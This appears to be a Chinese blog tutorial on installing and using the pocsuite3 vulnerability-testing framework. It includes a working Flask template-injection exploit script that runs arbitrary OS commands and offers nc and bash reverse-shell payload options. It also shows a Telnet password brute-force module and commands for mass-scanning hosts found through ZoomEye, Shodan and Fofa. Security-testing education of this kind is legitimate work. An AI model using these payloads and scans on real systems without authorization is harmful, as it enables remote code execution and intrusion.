当前位置: 首页 > news >正文

pocsuite3安装及使用

pocsuite3安装及使用

  • 简介
  • 项目地址
  • 环境配置及安装
    • 环境要求
    • 安装(详情可以参考[https://pocsuite.org/](https://pocsuite.org/))
  • 使用方法
    • 运行模块
    • 加载目标参数:
  • Console模式
    • 查看有哪些模块
    • 使用Telnet 弱密码模块
    • 这里以flask模板注入漏洞为例
  • pocsuite3 编写POC脚本
    • 批量验证方式
  • pocsuite3 编写EXP脚本
  • pocsuite3 编写console 形式
  • 调用搜索引擎接口
    • Zoomeye搜索引擎
    • Shodan搜索引擎
    • Fofa搜索引擎
    • 从Seebug调用poc

简介

pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。

项目地址

https://github.com/knownsec/pocsuite3

环境配置及安装

环境要求

  • Python 3.4+
  • Linux, Windows, Mac OSX, BSD

安装(详情可以参考https://pocsuite.org/)

直接pip3安装

pip3 install pocsuite3

或者下载最新的解压

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
pip3 install -r requirements.txt

在Windows中

进入pocsuite目录,执行python3 cli.py

查看帮助信息 python3 cli.py -h

输出这样即为pocsuite3 安装成功
在这里插入图片描述
在Linux中
直接输入pocsuite
在这里插入图片描述

使用方法

具体方法可以python cli.py -h或者pocsuite -h来自行查看

运行模块

--verity 验证    POC--attack 攻击   exp--shell

加载目标参数:

-u	选择单个目标
-f	从文件中导入多个目标,
-r	选择poc
-c	从配置文件中导入
-threads	设置线程

verify 模式:验证目标是否存在漏洞

pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify

attack 模式:向目标发起有效的攻击

pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack

批量验证,将url写到一个txt

pocsuite3 -r test/poc_example.py -f url.txt --verify

加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)

pocsuite3 -r tests/ -u http://www.example.com --verify

使用多线程,默认线程数为1

pocsuite3 -r test/ -f url.txt --verify --threads 10

Console模式

类似于msf
python console.py或者poc-console

查看有哪些模块

 list

在这里插入图片描述

使用Telnet 弱密码模块

Pocsuite3 > use pocs\telnet_burst
Pocsuite3 (pocs\telnet_burst) > show options
Pocsuite3 (pocs\telnet_burst) > set rhost 192.168.8.1
Pocsuite3 (pocs\telnet_burst) > set rport 23
run

这里以flask模板注入漏洞为例

pocsuite3 编写POC脚本

主要编写poc定义的函数部分去做验证

在这里插入图片描述

poc-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORYclass DemoPOC(POCBase):vulID = '1.1'version = '1.1'author = ['1.1']vulDate = '1.1'createDate = '1.1'updateDate = '1.1'references = ['flask']name = 'flask'appPowerLink = 'flask'appName = 'flask'appVersion = 'flask'vulType = VUL_TYPE.CODE_EXECUTIONdesc = '''flask'''samples = []category = POC_CATEGORY.EXPLOITS.REMOTEdef _verify(self):result = {}path = "?name="url = self.url + path#print(url)payload = "{{22*22}}"#print(payload)try:resq = requests.get(url + payload)if resq and resq.status_code == 200 and "484" in resq.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = urlresult['VerifyInfo']['Name'] = payloadexcept Exception as e:return return self.parse_output(result)def _attack(self):return self._verify()def parse_output(self, result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return outputregister_poc(DemoPOC)

命令行

python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify

在这里插入图片描述

否则不存在
在这里插入图片描述

批量验证方式

python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"

搜索漏洞关键字flask, http协议的网址
在这里插入图片描述
失败,没扫出来
在这里插入图片描述

pocsuite3 编写EXP脚本

主要编写exp定义的函数部分去做攻击
在这里插入图片描述
exp-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORYclass DemoPOC(POCBase):vulID = '1.1'version = '1.1'author = ['1.1']vulDate = '1.1'createDate = '1.1'updateDate = '1.1'references = ['1.1']name = 'flack'appPowerLink = 'flack'appName = 'flask'appVersion = 'flask'vulType = VUL_TYPE.CODE_EXECUTIONdesc = ''''''samples = []category = POC_CATEGORY.EXPLOITS.REMOTEdef _options(self):o = OrderedDict()payload = {"nc": REVERSE_PAYLOAD.NC,"bash": REVERSE_PAYLOAD.BASH,}o["command"] = OptDict(selected="bash", default=payload)return odef _verify(self):output = Output(self)result = {}def _attack(self):result = {}path = "?name="url = self.url + path#print(url)cmd = self.get_option("command")payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'#print(payload)try:resq = requests.get(url + payload)t = resq.textt = t.replace('\n', '').replace('\r', '')print(t)t = t.replace(" ","")result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = urlresult['VerifyInfo']['Name'] = payloadexcept Exception as e:returnreturn self.parse_attack(result)def parse_attack(self, result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return outputregister_poc(DemoPOC)

payload如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

命令行

python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig

在这里插入图片描述
在这里插入图片描述

pocsuite3 编写console 形式

在这里插入图片描述
在这里插入图片描述

调用搜索引擎接口

参数

–dork DORK	            Zoomeye Dork ,用于在ZoomEye 搜索目标
–max-page MAX_PAGE	    ZoomEye API 的请求翻页数(10 目标/页)
–search-type	        ZoomEye API 搜索类型,web 或者 host
–vul-keyword VULKEYWORD	Seebug 搜索关键词,用于在Seebug 搜索漏洞POC

Zoomeye搜索引擎

使用ZoomEye搜索ecshop并使用ecshop_rce.py探测,指定线程数量为5

python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5

从ZoomEye中调用host批量验证某个POC

pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify

Shodan搜索引擎

python3 cli.py -r pocs/redis_unauthorized_access.py --dork-shodan “product:redis”  --shodan-token  “xxxx”

Fofa搜索引擎

 python3 cli.py -r pocs/redis_unauthorized_access.py --dork-fofa "service:redis"  --fofa-user “xxx"  --fofa-token “xxx"

从Seebug调用poc

使用ZoomEye搜索服务为redis的目标,调用SSV-89339的poc来验证漏洞。

pocsuite -r ssvid-89339  --dork service:redis --max-page 1 --threads 10

相关文章:

pocsuite3安装及使用

pocsuite3安装及使用简介项目地址环境配置及安装环境要求安装(详情可以参考[https://pocsuite.org/](https://pocsuite.org/))使用方法运行模块加载目标参数:Console模式查看有哪些模块使用Telnet 弱密码模块这里以flask模板注入漏洞为例pocs…...

docker从安装到部署一个项目

一.centos安装docker 参考博客:https://blog.csdn.net/m0_47010003/article/details/127775185 1.设置一下下载Docker的镜像源 设置下载的镜像源为国内的阿里云,如果不设置,会默认去Docker的官方下载 yum-config-manager --add-repo http…...

QT编程从入门到精通之十二:“第四章:Qt程序创建基础”之“4.1 创建基础程序”

目录 第四章:Qt程序创建基础 4.1 创建基础程序 4.1.1 新建一个项目...

黑客入门教程【非常详细】从零基础入门到精通,看这一篇就够了!

首先要明白啊,我们现在说的黑客不是那种窃取别人信息、攻击别人系统的黑客,说的是调试和分析计算机安全系统的网络安全工程师。 黑客技术的核心就是渗透攻防技术,是为了证明网络防御按照预期计划正常运行而提供的一种机制。就是通过模拟恶意…...

手机怎么远程控制腾讯云云服务器?

手机怎么远程控制腾讯云云服务器?腾讯云提供的连接:Windows系统。可以用远程桌面连接,你本地电脑点击,开始-运行-输入mstsc,弹出的框里,填IP和账号密码信息。 管理服务器上还会运行一个数据采集程序&#…...

dorcker与vlu靶场搭建

dorcker与vlu靶场搭建 dorcker安装 以kali linux 为例 安装必要的一些系统工具 apt update apt -y install apt-transport-https ca-certificates curl software-properties-common 添加Docker PGP key curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg …...

Unity性能优化 - Overdraw篇

一、什么是Overdraw Unity Overdraw(超绘)是指在渲染过程中绘制了超过一次相同像素的现象。当多个UI元素重叠时,每个像素都需要被多次绘制。这种绘制超出了渲染所需的最小像素数,因此被称为Overdraw。 二、都有哪些元素会导致Ov…...

Tp5操作mysql json函数

Tp5操作mysql json函数 官方文档介绍正常单个json数据更新没什么问题,但是某些情况可能一次修改多个,但是也不想全部替换 怎么处理?注意 :在源码中 项目\thinkphp\library\think\db\builder.php@parseData方法中 修改控制器调用:官方文档介绍 JSON字段 从V5.1.4+版本开始…...

【蓝桥杯嵌入式】PWM的设置,原理图解析与代码实现(第十一届省赛为例)——STM32

🎊【蓝桥杯嵌入式】专题正在持续更新中,原理图解析✨,各模块分析✨以及历年真题讲解✨都在这儿哦,欢迎大家前往订阅本专题,获取更多详细信息哦🎏🎏🎏 🪔本系列专栏 - 蓝…...

Learning C++ No.13【STL No.3】

引言: 北京时间:2023/3/7/15:33,还有27分钟就要去上课啦!刚刚把最近因为考试原因欠的课给还干净了,已经准备好今天晚上接受航哥的毒打了,毒打就毒打,咱不怕,只要不欠钱,…...

推荐收藏!10大程序员必备生产力工具

作为程序员,提高生产力是我们一直追求的目标。随着技术的发展,越来越多的工具和应用程序被开发出来,帮助程序员们更好地完成工作。在本文中,我将介绍一些程序员必备的生产力工具。 一、IDE(集成开发环境) …...

【项目总结】基于SSM+SpringBoot+Redis的个人博客系统项目总结

文章目录项目介绍(开发背景)数据库设计主要使用到的技术点前端后端自定义统一返回对象自定义拦截器加盐加密操作分页功能session持久化自定义头像的存储和获取项目编写过程中遇到的困难点困难点一(小)困难点二(小&…...

从入门到精通MongoDB数据库系列之一:MongoDB简介

从入门到精通MongoDB数据库系列之一:MongoDB简介 一、易于使用二、易于扩展三、功能丰富四、性能卓越五、设计理念MongoDB是功能强大、灵活且易于扩展的通用型数据库。融合了二级索引、范围查询、排序、聚合以及地理空间索引等诸多特性。 一、易于使用 MongoDB是面向文档的数…...

大数据系列——什么是hdfs?hdfs用来干什么的?

一、什么是HDFSHDFS全称是Hadoop Distributed File System是一种分布式文件系统(HDFS使用多台计算机存储文件,对外提供统一操作文件的接口)Hodoop使用HDFS(Hadoop Distributed File System)作为存储系统。二、hdfs用来干什么的用于大规模数据的分布式读写&#xff0…...

云端地球2月更新了这些功能,你都用过了吗?

时光飞逝、转眼已到2023年的第三个月,武汉的天气也逐渐转好,温度步步高升。云端地球产研团队的脚步也越走越快,虽然春节仿佛还是昨天的事,但云端地球已经完成了四次迭代,为广大建模爱好者带来了更多实用功能&#xff0…...

基于gin-vue-admin[gin+gorm]手动实现crud(全)

使用Gin-Vue- Admin框架手动实现crud 在gva框架下自己手动实现一个CRUD的操作,该操作将会结合gen进行探讨学习,具体实现可以看下面代码的实现,项目目录层级分为api层,service层,model层,common层&#xff…...

彻底关闭Windows10更新!!

以下四个步骤都需要执行。 一、禁用Windows Update服务 1、同时按下键盘 Win R,然后输入 services.msc ,点击确定。 2、找到 Windows Update 这一项,并双击打开。 3、双击打开它,点击 停止,把启动类型选为 禁用&…...

跨时钟域CDC

https://www.cnblogs.com/icparadigm/p/12794483.html https://www.cnblogs.com/icparadigm/p/12794422.html 亚稳态 是什么 时序逻辑在跳变时,由于异步信号、跨时钟域等原因,不满足setup或hold条件,输出在0和1之间产生振荡。 原因 D触发…...

JavaEE简单示例——Spring的控制反转

简单介绍: 在之前的入门程序中,我们简单的介绍了关于Spring框架中的控制反转的概念,这次我们就来详细的介绍和体验一下Spring中的控制反转的理论和实操。 使用方法: 控制反转(IoC)是面向对象编程中的一个…...

DBT 收购 Transform,指标平台已成现代数据栈关键拼图

今年 2 月初,现代数据技术栈独角兽 DBT 宣布完成对 Transform 的并购。在现代数据栈的体系中,DBT 和 Transform 都扮演着重要角色,DBT 侧重于整个分析链路上的数据转换处理,而 Transform 则聚焦在以指标为中心搭建业务分析应用。 …...

接口测试中缓存处理策略

在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...

FastAPI 教程:从入门到实践

FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...

解锁数据库简洁之道:FastAPI与SQLModel实战指南

在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文? 多租户隔离:自动为接入设备追加租户前缀,后端按 ClientID 拆分队列。零代码鉴权:将入站用户名替换为 OAuth Access-Token,后端 Broker 统一校验。灰度发布:根据 IP/地理位写…...

Frozen-Flask :将 Flask 应用“冻结”为静态文件

Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码

目录 一、👨‍🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨‍&#x1f…...

面向无人机海岸带生态系统监测的语义分割基准数据集

描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...

git: early EOF

macOS报错: Initialized empty Git repository in /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/ remote: Enumerating objects: 2691797, done. remote: Counting objects: 100% (1760/1760), done. remote: Compressing objects: 100% (636/636…...